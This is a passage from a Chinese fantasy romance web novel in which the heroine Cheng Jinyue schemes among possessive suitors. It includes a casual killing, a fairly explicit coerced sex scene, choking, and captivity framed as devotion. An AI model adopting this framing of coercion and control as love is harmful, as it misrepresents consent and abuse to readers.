她有什么想对怀钰说的话呢? 程今越开始回忆起他们的相识,过去的记忆,光怪陆离,像是在暴雨之中,两个用荷叶一起打伞的人,浑身淋得湿透。 越想程今越的心底便越湿润,她不想去回忆他们的从前。 程今越不想去回忆任何从前,因为太苦,太痛,夹杂的那些美好的回忆就显得弥足珍贵。 而这些美好,在最后也会被她亲手撕碎。 所以与其这样,还不如彻底抛弃过去。 没什么好回忆的。 这也不过是一条没有人会看的红丝绸罢了,她本来也不想来做这一件事,不过是怀钰要求她的,不是吗? 程今越随便挥笔,随手写了一句不痛不痒的话。 她转头去看怀钰,发现怀钰居然早就写好了。 “你居然写得这么快?” “你写了什么?” 她好奇地问。 怀钰却摇摇头,“写了我一直想对小越说的话。” “但是我不知道什么时候会把这句话说出口,或许以后也没有这个机会了。” 两人走上云梯,将红丝绸系在最高处,两条红丝绸被绑在一起,成为千千万万中的两条,汇聚成千万愿望中的一抹星光。 怀钰突然转过头,看向程今越,变得有些正经,脸上的笑收敛了许多,只是带着浅浅少年气。 他把一块石头放在程今越的手掌心之中。 程今越低头看,这是一颗心石,但与其他普通的心石不同,流光溢彩,澄澈无垢,程今越能感受到其中丰沛的灵力。 可以说,这是最顶尖的心石品质,根本不是凡间之物。 “你要的海神之心。” 原来早在知道程今越想法的第二天,怀钰就把海神杀了。 只要程今越想要,他就会去做。 因为他为程今越而活,他就是程今越的一把刀。 程今越有些愣住了。 “程今越,和你待在一起真好啊。” 他笑着。 他想了又想,最后说了一句话。 “我会杀了萧极的,我会把所有阻拦我们的人全都杀了,我会做到的。” 他站在纷纷落花之中,“小越,一切都结束之后,有机会的话,你就把这条红丝绸打开看吧。” 第92章 抓奸 黄昏之后,怀钰便离开了。 一别便又是一个月,程今越再也没有见过怀钰,她的背后也没有感受到熟悉的阴湿的目光。 但是这也不是程今越该关心的事情。 毕竟怀钰又要掌管魔界,与整个萧极对抗,同时他还夺舍了萧砚修,想必也是忙得不可开交。 程今越也没有闲着,立刻将海神之心锻造好了,几日前已经交到了她的手中。 一把凛冽的短刀,刀身似纯净寒玉,符文自内散发,没有任何装饰,干净,像是剑客的眼。出鞘清鸣,出血肉而不染,能斩因果,净化世间,妖邪避散,是谓无垢刀。 程今越握着这无垢刀,随手杀个侍卫。 对方甚至连痛都没来得及感受便死了,鲜血横流,对方倒在地上,但是程今越手中的刀却没有一丝血。 永远干净,甚至能照映出程今越浅笑的脸庞。 程今越喜欢这把刀,就像她一样。 杀了人,但是她的手中不会沾染一丝血腥。 神圣,干净,柔弱。 程今越开始明白一个道理。 有的人不喜欢杀戮,不喜欢站在权力的巅峰,掌控别人命运的感觉,只是因为太弱了,根本就没有这个实力去支撑这个愿望。 但是,这种掌握生死的感觉,实在是太让人上瘾了。 特别是曾经的她,是任人宰割的鱼肉。 身份颠倒的感觉会让人浑身轻飘飘的。 程今越的欲望从内心深处涌出。 她想杀了所有人,杀了所有挡路的人,她期待萧极去死,期待怀钰去死,期待将坐在魁首上的人拉下来,自己坐上去。 以权代笔,把自己写进青史之中,供万人敬仰,永垂不朽。 怀钰刚走几日,程今越便收到了萧极回来的消息。 对方只给了她一句话。 “夫人,许久不见。” 纸上的字刚劲中透着凌厉,仅是透过字,程今越便仿佛能看到萧极如湖水深沉的黑眸在对她笑。 没有任何指示,但程今越知道,这是命令。 她乖巧温柔懂事,是一朵柔弱的菟丝花。 第二天她便在宫门前,温顺地低着头,等到了萧极。 见到萧极的那一刻,程今越便感受到了铺天盖地似的侵略。 萧极坚实地手臂将程今越拢住,整个人压在程今越的身上,紧紧地抱住她。 雪松的香气瞬间涌入程今越的鼻腔,她被萧极抱得快要喘不过气来。 “界主……别这样……” 萧极却冷冷一笑,黑眸无声地滑到程今越面前,将食指放在了自己的嘴上,示意程今越闭嘴。 程今越被他吓到了,浑身颤抖,泪水不住地从她的眼中溢出。 “别急着哭,夫人。我们还有很多话要说。” 无定宫已经是深秋,过不了许久便是冬天,外面没有暖阳,窗边的花草也冰冷冷的,深秋的风吹进来,屋内一片沉寂。 萧极将程今越扛在肩上,然后狠狠地将她扔在程今越床上。 萧极没有一丝怜香惜玉的意思,程今越被砸在床上,浑身酸痛。 她倒吸了一口凉气,发出“嘶”的声音。 黑色的长发如绸缎一样落在床上,她侧着身子,趴着抬起白净的脸,盈着泪的眼睛看向萧极。 “界主……” 程今越呜咽着开口,又被萧极直接打断。 “你再继续装多久,我就在这里跟你做多久。” 萧极缓缓地抬起头,朝程今越缓缓走来,一边走一边解着身上的外衣。 程今越立马收了可怜兮兮的模样。 她不敢说话,因为她做的愧对萧极的事情有点多,目前还不知道是哪一件*被发现了。 多说多错,先观察一下。 深秋的天阴沉沉的,窗外没有什么光,屋内也没有点灯,萧极站在阴暗处,从高处俯视着程今越。 “程今越,我一直都知道你很会骗人。” “但是我觉得你很有意思,我很想知道你能骗到什么程度。” 萧极伸出大手,握住程今越的下巴,强迫她抬头看着自己。 程今越不是很敢开口,毕竟萧极这种在高位上待久了的人,他的骄傲、自尊、信任,是不能够被破坏的。 不过也仅限于此了。 萧极这种人,行事雷厉,手段极端,高高在上,从来不把人当人,杀伐果断。 如果萧极真的要对她动手,程今越现在理应是一个死人了。 所以当萧极尝试跟程今越沟通的时候,她就已经赢了。 “今越从未骗过界主。” 程今越小心翼翼地看向萧极。 她几乎不说谎,因为谎言总会有败露的那一天,而为了遮掩一个谎言,就会说更多的谎言。 这不是一个保险的事情,特别是面对萧极这样的聪明人。 萧极突然笑起来,看着程今越的眼睛。 “是,你的确是没有骗过我。” 她又从来没对萧极说过爱,也从未主动请求成为萧极的未婚妻。 她说的恨怀钰是真的,不想再见他也是真的,想要活下去这个愿望依旧是真的。 程今越没有说一句谎话。 她做的任何坏事,都只是被人强迫的,她也是受害者,是可怜人,她生性胆小,只是为了活着,是不能怪罪到她头上去的。 可越是这样,萧极就越觉得怒意从内心最深处涌上来。 “你想知道萧砚修现在在哪儿吗?”萧极突然笑起来。 她就知道。 “今越不知道砚修在何处。”程今越哭着摇着头。 “界主知道,上一次后,我与砚修的关系并不算好,他也不会将这些事情告知于我。” “我在宁城见过他一面,后来便再也没有见过他了。” 泪水从她眼眶之中流出,她眼尾通红。 “一次。” 冷冷的话从萧极嘴里吐出来。 程今越一愣。 她当然知道萧极在说什么。 “程今越,你很厉害。” “萧砚修也被你收入囊中。” “好像没有谁能逃脱你的手中,为什么呢?你告诉我。” 萧极俯身,宽厚的手掌掐住程今越细嫩的脖颈。 他浑身冷极,黑眸之中却带着若有若无的笑意,压迫感极强。 程今越说错一句话,萧极便会随时将她吃干抹净。 程今越愣了愣,倒不是被萧极吓住了。 任何人在历经怀钰那样的疯子,见到了血腥淋漓的场面后,都会觉得萧极眉清目秀。 她只是在想,萧极到底知道了什么? 沉寂许久,程今越的目光与萧极的目光不断交汇。 半晌,程今越脸上的泪收敛住了,她抬起眸子,睫毛上还带着泪痕。 淡然的笑意,像是雨后的一朵花。 柔弱,但没有一丝畏惧与怯懦。 “我根本就没有想把他收入囊中,他对我有什么作用吗?” “只是他把我认成了什么人,此人应该与我长得极像,并且与萧砚修有过一段爱恨情仇。” “因为这个,我宫中众人都被他迁怒杀害,就连我自己也险些受伤。” “如今,我又被您猜疑……” 她的语气平淡,不急不躁,她澄澈的眼眸看向萧极,不卑不亢。 “怪罪到我的身上,我是否有些太过委屈了,夫君?” 少女头发凌乱,肤白唇红,瞧着有些狼狈,下颌绷成一条直线,倔强又隐忍,像一朵动人白花。 萧极眯着黑眸,忽然轻笑,“两次。” 程今越脸上的笑僵住。 她心中怒火骤然而起。 怀钰到底做了什么,留下了什么痕迹? 这一次萧极没有说话,他狠厉地将程今越压住。 他的吻瞬间压了下来。 呼吸粗重,滚烫的,粗莽的,凌乱的。 程今越尝试推开他,但是却被萧极狠狠扼住手腕,他将程今越的手腕一抬,压到了她的头上。 毫不犹豫地,一层一层解开衣物。 “放开我。” “你就不能把话说清楚吗?我到底做错了什么?我可以给你解释!” 程今越受不了了,她前几天才受了怀钰的折磨,身上的伤甚至还是用术法疗愈好的。 虽然萧极与怀钰是两种不同的滋味,她也分不出好坏,但是起码得让她休息休息吧。 “解释?” “抱歉,你已经耗光了我的耐心,我不想再看你演戏了。” 果断利落,潮起潮落,浑浊的气息瞬间弥漫开来。 他一双大手放在程今越的腰上,黑眸冷冷。 腹部的肌肉明显,刚健有力,随着他的动作显露出来。 过于猛烈,程今越能感受到萧极的怒火,她根本招架不住,大脑瞬间空白,身体瘫软。 “程今越,你听到了吗?” 萧极附在她的耳畔,声音低沉,带着蛊惑。 程今越摇摇头。 紧接着便是萧极更加猛烈的动作。 她的眼泪瞬间从眸子里涌出,喉咙之中再也忍不住声音,呜呜咽咽的声音传出,伴随着清晰的水声。 “夫君,放过今越吧……” 她呜咽求饶。 “放过?”萧极一笑。 “我看你不是挺爽吗?” 萧极不知疲倦,一边又四处打量着程今越的肌肤,不断变化着程今越的姿态,像一只娃娃一样,把她翻来覆去地查看。 他心中无名怒火燃烧着,但内心深处又忍不住害怕与恐慌。 他担心什么呢?他根本就不应该担心! 他一定要找出程今越身上的证据!让她百口莫辩! 程今越的肌肤如凝脂,雪白,只是轻轻一捏便会出现令人遐想的红痕。 翻找了几遍,萧极没有找到他想要的淤青与吻痕。 他忍不住松了一口气。 但随后,他察觉到有愈合术的痕迹。 猛烈的动作突然暂停,程今越瞬间无力地躺在床上,脸上带着楚楚可怜的泪痕,黑发凌乱着,落在雪白的身上。 她察觉到萧极浑身冷得像冰块,黑色的眸子死死地盯着她。 第93章 纠缠永生永世。 萧极想要说话,但是话落到了嘴边,却又生生地停住了。 他觉得心口生疼,愤怒冲击着大脑,让他几乎快要不能思考。 萧极知道自己不应该这么武断,理智告诉他,事情是不能这样轻而易举地下结论。 安排在程今越身边的暗卫都武功高强,不说在无定界,便是在全仙界,都是数一数二的存在,要知道程今越的动向太简单了。 但是并没有传来任何有关程今越异常的消息。 要是仅仅如此的话,萧极是不会忧虑这么多的。 但是他刚出关的第二日,他便见到了急急来寻找他的萧砚修。 对方和从前并无二致,只是汇报着在宁城的任务。 没有任何细节瞒得过萧极的眼睛。 阳光下,萧砚修很高兴,头发高高束起,随风飘逸,带着少年气,身上是乌木沉香的味道。 但是萧极闻到了一丝淡淡的香气。 萧砚修从来没有用过这种香,也绝对不会使用这种香。 因为这个香料,是他精挑细选,自行炼制的。 天上天下,独此一份。 是他送给程今越的。 对方自顾自地说着话,他开始观察起萧砚修的长相。 眉眼含情,眼眸澄澈,带着散漫不羁的笑意,身姿挺拔,眉眼间与自己有几分相似。 谈笑间,对方脖子连接锁骨处不经意地露出了一道红痕。 应当是亲吻留下的。 程今越疑惑地转过身,看向萧极,眼眸之中盈着泪。 她犹犹豫豫地,抱住萧极。 “夫君……别生气了……” 萧极却瞬间使力,将程今越抵在墙边,一双大手扼住她的脖子。 程今越撞在墙上,疼痛从身上蔓延开来。 “程今越,我最讨厌别人骗我,特别是当着我的面。” 萧极的声音很轻,他靠程今越很近,低哑的声音在程今越耳边响起。 屋内没有点灯,只有暗淡的光从厚重的帘外透进来,程今越身上新鲜的红痕露在空中。 可这样完全不够。 萧极内心深处涌出最深的欲望,他真想掐死程今越。 杀了这个满口谎言,不知悔改的人。 她时刻算计着所有人,明明做了他的未婚妻,爱慕她的人却越来越多,如潮水一般,甚至更加疯狂。 明明有重兵看守,却依旧能在他的眼皮子底下和其他男人会面,在他的眼皮子底下收敛信徒,想方设法地离开他的身边。 这已经超出了他的底线。 这是背叛。 按照常理来说,程今越现在已经是一具尸体了。 但是萧极却不知道自己为什么下不了手。 在他得知这些消息的时候,最开始是愤怒,但紧接着的却是不甘与嫉妒。 这种想法让萧极的怒火越发旺盛,也让他觉得自己格外好笑。 最初,程今越在他的眼里没有任何特别之处。 萧极曾经在人间见过程今越,但并没有留下什么深刻的印象。 少女温柔地救赎人间众生,尽管不过是杯水车薪。 面庞青涩,与陌生人交谈时会露出害羞怯懦的眼神。 平平无奇的少女。 他兴致缺缺。 直到那一日,在程旭的寿辰之上,程今越露出了与往前完全不同的气质与眼神。 端庄温柔大气,琴艺无双。 再到少女浑身是血,求他合作,不卑不亢。 他调查对方的过往,却发现一大片都是空白。 这一刻,他的确产生了好奇。 但也仅仅于此。 就连让程今越成为他的未婚妻,也不过是正当收服大衍剑宗的一个手段罢了。 最多也是为了她这一身长明族的血。 他们之间的关系就是如此浅薄,不过是一桩交易。 他之前也从未将程今越放在心上,只是偶尔想起来,权当小猫一样,偶尔玩一玩逗一逗。 但断断不是现在这副模样。 萧极觉得自己疯了。 他从出生起,便沾满光环。他被万人敬仰,他是仙界魁首,是世间第一的天才。 把握生死,冷薄高傲,低贱之人的血甚至不配落在他的身上。 而如今,不知道从什么时候开始,莫名其妙的阴湿的感情,从身体最深处生根发芽,牵连着骨头、血肉、五脏六腑。 肆意生长,像是藤蔓一样,等到他反应过来的时候,已经将他的血肉都捆绑缠绕,吸吮着他的血液。 而如今,这道藤蔓开始腐烂,嫉妒与恨这种情感成为异变。 “我没记错,众人都说大衍神女温柔善良,心怀苍生。” “但程今越,你现在是否有些与传闻中不符呢?” “你从来不是什么所谓的温柔善良,楚楚可怜的人。” “你杀伐果断,手段狠厉,极擅玩弄人心。” 萧极黑眸弯弯,宽大的手掌抚摸着程今越的脸庞,抓住她的手腕。 程今越带着眼泪的眼眸突然狡黠一笑,眉眼轻佻,嘴唇微勾。 “萧极,我从来没有告诉过你我是什么样的人。” “外界的传言也是传言,耳听为虚眼见为实,总以外界的声音给今越下结论,总是不好的。” 程今越是聪明人。 既然已经到了这个地步,对方将玻璃纸拆穿后,演戏也的确没有意思了。 “但你也不是第一天知道这件事情了,界主您手眼通天,我不过是一介弱女子,我又能隐瞒你什么呢?” “您很早前不久知道我是这样的人了吗?” “界主,我不是您,我没有高贵的血脉,我没有顶尖的血脉,我没有庞大家族和金钱给我做后盾,我甚至无父无母,我只有孤身一人。” “我要活在这个吞人的世间。” “若是我连一点手段都没有,我又该如何存活呢?” 程今越扬起头,一双眼睛毫不躲避地盯着萧极。 她知道萧极在问什么,并非是在意她隐瞒性格或者杀人,这对萧极来说什么都不算。 隐瞒性格算是对萧极的情趣,杀人是萧极的家常便饭。 事情一定出在这次宁城的事情。 除了跟怀钰有关,程今越想不出来任何其他的可能了。 但是程今越偏不直接回答,不说破,不点明,不承担,不负责。 装傻充愣永远是解决事情最好的办法。 程今越心中冷哼。 她就知道怀钰一定会报复她。 他一定是“不经意”间透露了什么信息给萧极,引起了对方的怀疑,但是证据或许并不确凿,否则她现在已经死无葬身之地了。 善妒的东西。 恶心,真的去死吧,就知道来坏她的好事。 总有一天会杀了他的。 程今越发誓。 萧极轻笑,他是真的没想到程今越就这么坦诚地承认了自己的罪行。 但他依旧没有得到他想要的答案。 虽然他没有证据,但是直觉告诉他,不会错。 甚至他可以派人实地去调查,只要发生过的事情,没有什么是找不到的。 只要他想要这个答案,就一定会有。 但是萧极第一次后退了。 他想知道结果,但更害怕知道结果。 没关系,小猫有些调皮是正常的。 毕竟以前是一只野猫,没有人教养,长得有些姿色,总会招惹一些野狗。 “不,程今越,你错了。” “你需要改变一个认知。” 萧极低下眼眸,居高临下地看着程今越,声音低沉,漫不经心地笑着。 “你并非孤身一人,你是属于我的,你是我的夫人,我是你的依靠。” “仅有、我、才是。” 他一字一顿,黑色的眼眸盯着程今越,骨节分明的手抚摸着程今越的脸庞。 上位者的气息很是骇人,透着一股难言的压迫感。 “萧极,你知道,我不蠢。” 程今越笑着,简单的一句话包含了很多意思。 她不过是萧极的一枚棋子,一个玩物,萧极位高权重,修为高深,见过的人无数,只要他想,随时都可以把她踢走。 程今越从来不觉得自己不可替代,所以她也不想依靠所谓的“爱”。 空洞、不切实际。 萧极摇摇头。 “程今越,你好像没有选择的权利。” 他笑着,黑眸半眯。 “或许是之前我的教导不得当,让你产生了一些不切实际的妄想。” “你是我的夫人,我们签订了婚契,你永远都别想逃离我。” “不仅是这辈子,下辈子,下下辈子,我们都会永远在一起。” 程今越眼眸咬着牙,一双眼眸盯着萧极。 她抬起手,毫不犹豫地给萧极狠狠地一巴掌。 清脆的声音回荡在房间之中。 萧极被打得微微偏头,脸上出现了一个鲜艳的巴掌印。 空气一片寂静,只能听见彼此的心跳。 萧极愣了一下,随后他轻挑起眉,喉咙间传出一道低低的笑声。 “很好。” “你居然这样不情愿吗?那真是让人遗憾。” 他的声音漫不经心,带着一丝叹息,嘴角却带着笑意。 “没关系,我们下个月便成婚。” “小越,婚后我们还有很多时间哦。” 他弯下腰,黑色的眼眸盯着程今越。 下一刻,萧极猛地拽住程今越,手臂将她的要禁锢住,滚烫的唇铺天盖地而至,强硬、不容拒绝,急切又滚烫。 撬开齿间,攻击性极强,吸吮着程今越身上的气息,香津在缠绕的舌间摩挲。 程今越近乎快要失去呼吸,她瞬间咬住萧极的唇,血腥气瞬间在口腔之中弥漫。 她恶狠狠地看着萧极,不断挣扎抵抗着。 萧极却毫不知痛,脸上的笑更加深邃。 手上的动作也不停,将程今越束缚得更紧。 “你是不是真的疯了?” 程今越趁着空隙大口呼吸着。 她无论如何都想不到萧极真的会娶她,她有什么利用价值吗? 他们就应该结束交易之后一别两宽! 而不是在这里疯了一样地纠缠几生几世。 她不信这个道理萧极不懂! “的确如此。” 男人格外冷静,嘴角的血流下,他轻轻抹干,然后轻笑。 第94章 嫉妒 程今越再次回归了被囚禁的日子。 但又跟从前的囚禁不同,程今越过得很好,除了自由,她都拥有。 萧极对她近乎是唯命是从,奇珍异宝,上古神器,程今越修炼要什么他便给什么,更不用说衣食住行各方面。 她的地位比仙门各宗的大小姐还尊贵,没有人敢议论她的是非,因为所有敢说不好的人,全都死了。 她大衍神女的美名更是在萧极的一手操办下扬名天下。 萧极很忙,但从来不会忘记程今越,总能抽出时间陪伴,抑或说监视程今越。 坦白来讲,这算是她这辈子住过用过最好的东西了,奢华无比,是从前的她看都不敢多看一眼的东西。 萧极不像怀钰一样,喜怒无常,也不像孟朝,过于耿直冲动。 他饱览诗书,修为高深,家财万贯,容貌出众,对待程今越温柔体贴,甚至不近女色,从未有过妾室。 唯一的缺点,甚至不能算作缺点。 便是萧极的欲望太过强烈了,像是有瘾一般,在无定界的各处,从楼台,到小径,月下,琴旁,花前,到处都是他们的痕迹。 或许是遭到上一次的刺激,萧极总喜欢在程今越身上留下痕迹,他喜欢看见白嫩的肌肤上出现靡乱的红痕,特别是在脖子这样明显的地方,像是标记所有物,施加他无穷无尽地占有欲。 怎么看,萧极都是一个合格甚至优秀的丈夫。 萧极对她必然是动了真感情,天下苍生都知道。 但是,究竟有几分,程今越不知道。 全心全意爱她,甚至甘愿为了她去死? 程今越当然清楚,这不可能。 因为爱是一个多么缥缈的东西。 她一个字都不会信。 或是有什么事情没有完成,他们的婚期延后至年后。 这并不难猜。 因为她与萧极成婚,怀钰一定不会坐以待毙。 怀钰越发强大,萧极如果要让大婚顺利进行,那必然会提防怀钰。 程今越打听到了“萧砚修”的消息,说是被委以重任,斩杀魔族,被派遣到了仙魔交界处。 明面上说得好听,但谁都知道魔族有多汹涌,一旦到了交界处,那就离死期不远了。 萧极果然铁石心肠,纵使是对自己从小一同长大的兄弟,一旦触及他的逆鳞,也绝不手软。 哦,这或许已经是心软后的结果了。 不过,萧极可能无论如何都想不到,萧砚修的骨子里面已经是其他人了。 天气寒冷,程今越坐在屋子之中,窗外已经飘起了细雪,屋内点了火炉,黑色的长发程今越的肩上,在炉火的映衬下盈着暖光。 萧盼兮递了一堆请帖给程今越。 “嫂子,你可真受欢迎啊,大家都想见你一面,偏偏你又不怎么出门,这些请帖全都交到我手上了!” “你看看,这里有多少!” 她一扔,将一大把请帖放在桌子上。 数量多得都能堆成小山。 程今越愧疚地低着头,“盼兮,麻烦你了。” “嫂子,你真的不出去跟大家一起玩吗?” 她问。 临近年关,各仙门之间都会彼此宴请,这是习俗,所以这段时间的宴会格外之多。 到处年味十足,就连无定宫也开始挂上了灯笼,张灯结彩,格外热闹。 程今越摇摇头,“盼兮,你知道,我身子不好……” “好了好了!” “你跟我哥一样,都太会说话了,我不想听了。” 她摆摆手。 “没事儿,你不愿意去就算了,反正我的人情已经尽到了。” 萧盼兮说完,随后从厚重的请帖之中挑出了一张,递到了程今越的面前。 “这是丹心阁的明云舒托我给你的。” “我曾经欠过她一个人情,所以我挑出来,望您可以看一眼。” 明云舒? 有些熟悉的名字。 程今越的脑子飞速运转着,很快她便想起来了这个人。 她还在大衍剑宗的时候,程蕴知主持过一个宴会,那时程蕴知已经是板上钉钉的无定界女主人,所以各仙门贵女便都来庆祝。 在这场宴会之中,明舒云也来了。 不过程今越记得,怀钰恰好那时又发了次疯,杀了来参与宴会大半贵女,但还是有些苟活了下去。 明云舒应当便是其中之一。 程今越一边想着,一边打开这封请帖,随意地瞥着。 毕竟是萧盼兮的面子,她还是要给的。 依旧是平平无奇的宴会,无聊。 不过请帖后竟还附上了参会的名单,貌似是为程今越特地写的,都是程今越认识的,见过的人。 青岩山少主,孟朝,俨然在第一列。 程今越轻笑。 没意思,她随意瞥到最后一行。 一个名字抓住了她的眼睛。 月如仪。 她有些疑惑——月如仪不是死了吗? 她明明记得那日,怀钰亲手捏碎了月如仪,对面明明变成了一团灰尘。 虽然月如仪在仙门之中也算是传奇人物,修为深厚,有些自保的手段也算正常。 但竟然能从怀钰的手掌心中复活,只有两种可能。 一,她真的有通天的自保手段; 二,她与怀钰必然有些合作。 怀钰是个什么样的疯子,她太清楚了。 而偏偏月如仪也是个疯子。 她将请帖放回桌上,随后摇摇头,又将之前放下的书拿起。 书中的字却全部消失了。 一行字浮现出来。 “想赢吗,程今越?” “杀了萧极,杀了魔神,杀了孟朝,杀了仙界所有人。” “成神。” 一行一行字浮现又消失。 和程今越那时在书上看到的字的手段一模一样。 程今越心中突然冷笑起来。 原来那个时候给她传达消息的人是月如仪。 原来她从这么早就开始想要拉拢她了。 嗯,不对。 或许还要再更早之前。 月如仪比所有人都更早看透她的本来面目。 “还是不去吗?” “太可惜了。” 萧盼兮没有任何感情地捧读。 毕竟她也是一个传达消息的工具罢了,决定权还是在程今越这里。 萧盼兮转身就要走,却被程今越叫住。 “不,我要去。” 程今越的囚禁格外严苛,几乎随时随地有无数只眼睛盯着她。 但是并不是说她哪里都不能去,只要萧极同意,并且在萧极的陪伴之下,程今越便能拥有外出的机会。 而萧极对程今越几乎是百依百顺。 很巧,明云舒的生辰也正好是今天。 宴会在丹心阁的莲岛上,清流掩映,林木葱茏,池中种满了各异的莲花,纵是冬日,依旧绚烂盛放。 池中的荷灯点亮宴会,笙歌绵绵,舞姬在长廊凌波而舞,流光潋滟,奢华无比。 程今越没有带什么随从,来得格外低调。 “今越,你来啦!” 明云舒混迹在贵女交际之中,眼睛格外尖,一眼便看到了程今越。 依旧跟从前一样,外貌端庄,笑得格外甜,看起来与谁都格外亲昵。 这是萧盼兮做的引,所以程今越自然和萧盼兮一同前来。 一见到明云舒,萧盼兮便开心地拉住对方的手,“云舒,你什么意思!” “见到新人就忘了旧人是吧!” “哪里有!盼兮你可不要乱说!” “我和今越可是好早之前便认得!” 两人转过头看着程今越。 “正是,我与云舒曾识得的。” 她温顺地点点头,脸上带着淡淡笑意。 “是啊,那个时候啊,我和你姐姐……” 说到这里,明云舒突然愣住了。 她喉咙开始哽咽起来,“哎,你瞧,好端端的,我说这个做什么。” 程今越却摇摇头,“没事,都已经过去了。” 程蕴知的脸突然在她脑海中浮现,她心中微微一动,随后又将情绪掩盖下去。 她的身边已经死了太多人了,就连回忆都开始麻木起来。 只有这种时候,程今越才会偶然想起故人来。 物是人非事事休。 三人随意寒暄着,明云舒开始给程今越介绍朋友,男男女女老老少少,都是仙门之中有头有脸的人物。 随后几人继续往前走着,有一人站在莲花池旁,这一条路上仅有他一个人没有被介绍了。 对方身姿挺拔,卷起了袖口,露出了张力十足的青色血管,棱角分明的侧脸轮廓隐在阴影下。 身影很熟悉,程今越认识。 “今越,这位是青岩山的孟朝公子,想必你也认识,我就不过多介绍了!” 明云舒笑着。 孟朝听到了熟悉的名字,他瞬间转过头,看着程今越。 神色之中有些惊讶,眼眸带着光。 宴会中却突然安静下来,但并不因为孟朝。 众人有些疑惑,随着所有人的目光好奇地往那个方向望去,随后明白了为何众人都屏声了。 男人穿着修身的长衣,信步走进,肩膀宽阔,身形挺拔颀长,神色淡淡的,脸上带着若有若无的笑,黑眸中不透任何情绪。 上位者的气息带着压迫,周身透露着凌冽的气场。 萧极。 众人愣住了。 萧极怎么会出现在这里? 明云舒更是震惊,她哪里有本事请得动这尊大佛。 她转头看向程今越,对方却没有一丝惊色。 除了程今越的缘故,她想不出来什么其他原因了。 明云舒不敢相信。 虽然萧极早就说过要和程今越成婚。 因为他们的差距实在是太大了,简直是云泥之别。 萧极是如何高贵的人,天赋卓越,仙界第一,外貌出众,是多少人求而不得的梦中情人。 程今越虽然外貌出色,但比她容貌更出色的比比皆是。 她虽是大衍剑宗的三小姐,但现在谁都知道大衍剑宗早就名存实亡。 程今越如今就是一个灵根低下,没有家族撑腰,血脉甚至都存疑的,仅仅空有美貌的人。 这样的人,真的能够得到萧极的青睐? 凭什么? 第95章 甘愿为她变得不像自己。 不止她不信,其实天下许多人都不相信。 所有人都把这个当做一个笑话,众人等着萧极把程今越玩腻后抛弃她的一天。 萧极无视所有人的目光,眼神只放在一个人的身上。 没有任何的犹豫,他走在程今越的跟前。 “小越,走得也太快了,竟也不等等我。” 他伸出手,替程今越整理了衣领。 程今越头皮发麻。 但男人的黑眸却目不转睛地看着她。 四周的人都愣了一下,随后脸上瞬间挂上了笑。 “哥,你怎么来了,我们这小地方竟然也能请得动你这尊大佛!” “看来嫂子的面子也太大了!” 萧盼兮笑着,她一边挽着程今越的手,一边拍着萧极的肩。 “界主来我丹心阁怎么不早些说,都未曾来迎接界主,云舒真是失礼了!” 明云舒轻轻拍腿,神色诧异,脸上带着笑。 “今越妹妹嘴巴也是真严,界主来了也不和我们说一下。” “哎,看着今越妹妹和界主感情如此之好,真是让人艳羡!” “我这可怜的妹妹如今终于也是走上了上坡路,也让我这个做姐姐的不再担忧了。” 她笑得眼角扬起,看着程今越,脸上满是欣喜。 程今越心中冷笑。 可真会给自己脸上贴金,她什么时候成了明云舒的妹妹。 从前她在大衍剑宗做三小姐的时候,对方眼里从未有过她,甚至话语中还带着明嘲暗讽。 人怎么可以这么不要脸。 难怪程蕴知不喜欢这个人。 “没什么麻烦的,照看我的夫人,是我应该做的。” “毕竟众人皆知我的夫人心地善良,性格柔软,我怕她被人欺负,又被什么不三不四的人勾搭上了。” 萧极的声音冷冷,扫了一眼明云舒,又抬头,看了一眼站在池边的孟朝。 明云舒被这一眼看得浑身发怵,冷汗从背后直直升起来。 她一直都听闻萧极的传闻,说此人貌若冠玉,手段狠厉,笑里藏刀,常常独来独往。 但凭她的身份,也只能远远地望上萧极一眼,今日还是第一次和萧极面对面对视,如今才知道萧极的厉害。 对方性情古怪,从来不把身份放在眼里,谁都敢杀,偏偏没有人敢说一句话。 她一句话都不敢多说,只是点着头,应和着。 萧极将身上的狐裘大衣解下来,披到程今越的身上。 “小越,天气冷,多穿些才好。” 看向程今越时,萧极的目光瞬间柔和下来,与方才的冷漠判若两人。 “哥,瞧你这话说的,云舒请的可都是仙门正儿八经有头有脸的人物,哪里有你说的不三不四的人。” 萧盼兮撅着嘴。 “好啦,你看,你来了,大家都不敢好好玩了,小越好不容易出来一趟,你就不能让我们好好聚一聚。” 萧盼兮将程今越从萧极的身旁拉走。 所有人都看着二人,程今越轻轻一笑,“抱歉,大家也知道,我修为不高,之前遭遇了不好的事,界主自此后便总是担忧我,我要是去哪儿,便总会同我一起。” 她说着,然后抬头看着萧极,眼中满是娇羞。 话虽然说得平常,但是话里话外都透露着对萧极的喜欢。 就连外人都看得出来二人如今是蜜里调油。 “好啦!嫂子!你真是!你让我们这群人怎么办!” 萧盼兮叉着腰,脸上笑着,语气中带着嗔怒。 “嗯……抱歉……” 她转头看向萧极,眼眸亮着。 “界主,不用如此担忧我,我和盼兮待在一起,必然不会出事的。” “就是就是!有我在,我会保护好嫂子的!哥,你信不过其他人,你还信不过我吗?” 萧盼兮连忙附和。 萧极黑眸弯弯,没有说话。 “好啦好啦,你快走,我们不欢迎你,我们要讲女孩子的悄悄话了!” 她连忙推开萧极。 萧极看着程今越,眸色很深,随后看了一眼萧盼兮,最后终于点了点头。 他想将程今越永远守在他的面前,但是萧极要做的事情太多了,特别是他要准备即将到来的婚期,一定不能出差错。 仙界众人已经找到了对付魔神的办法,虽然也是冒险一试,但是萧极必须尽全力去做。 没有人能从她的手中夺走程今越,特别是这个最恶心的魔种。 一切的牺牲都是值得的。 这也是为什么萧极来晚了一步。 而现在他还不能离开,还必须尽管赶回去。 他已经布了重兵与暗卫在这里,将丹心阁围了个团团转,他也用灵力探查过方圆十里,没有一丝魔气,也没有任何可疑的东西,但是萧极还是无法放下心中的防备,就算他本人就站在这里。 萧极此刻明显地感受到*了自己的变化。 从前的萧极,不会有任何犹豫,做事从容果断,这源于他对自己实力的自信。 现在虽然没有任何变化,但是遇到程今越开始,他竟然开始变得患得患失。 就算程今越一直被囚禁在无定宫,他也完全无法放心,或许是因为在宁城,萧砚修身上似有若无的香味,以及他脖子上那一颗红色吻痕,还有程今越身上使用过的痊愈术。 尽管他并没有证据,尽管这并不能说明什么。 萧砚修本来就和程今越碰过面,并且也有去海神祭与姑娘玩乐的记录,程今越遇到过一个纨绔弟子的为难,受了伤。 一切都说得通,一切都有迹可循。 可是萧极心乱了。 这已经完全不像他了。 更可怕的是,他开始享受这种感觉,享受自己沉溺在与程今越的感情之中。 甚至甘愿溺亡。 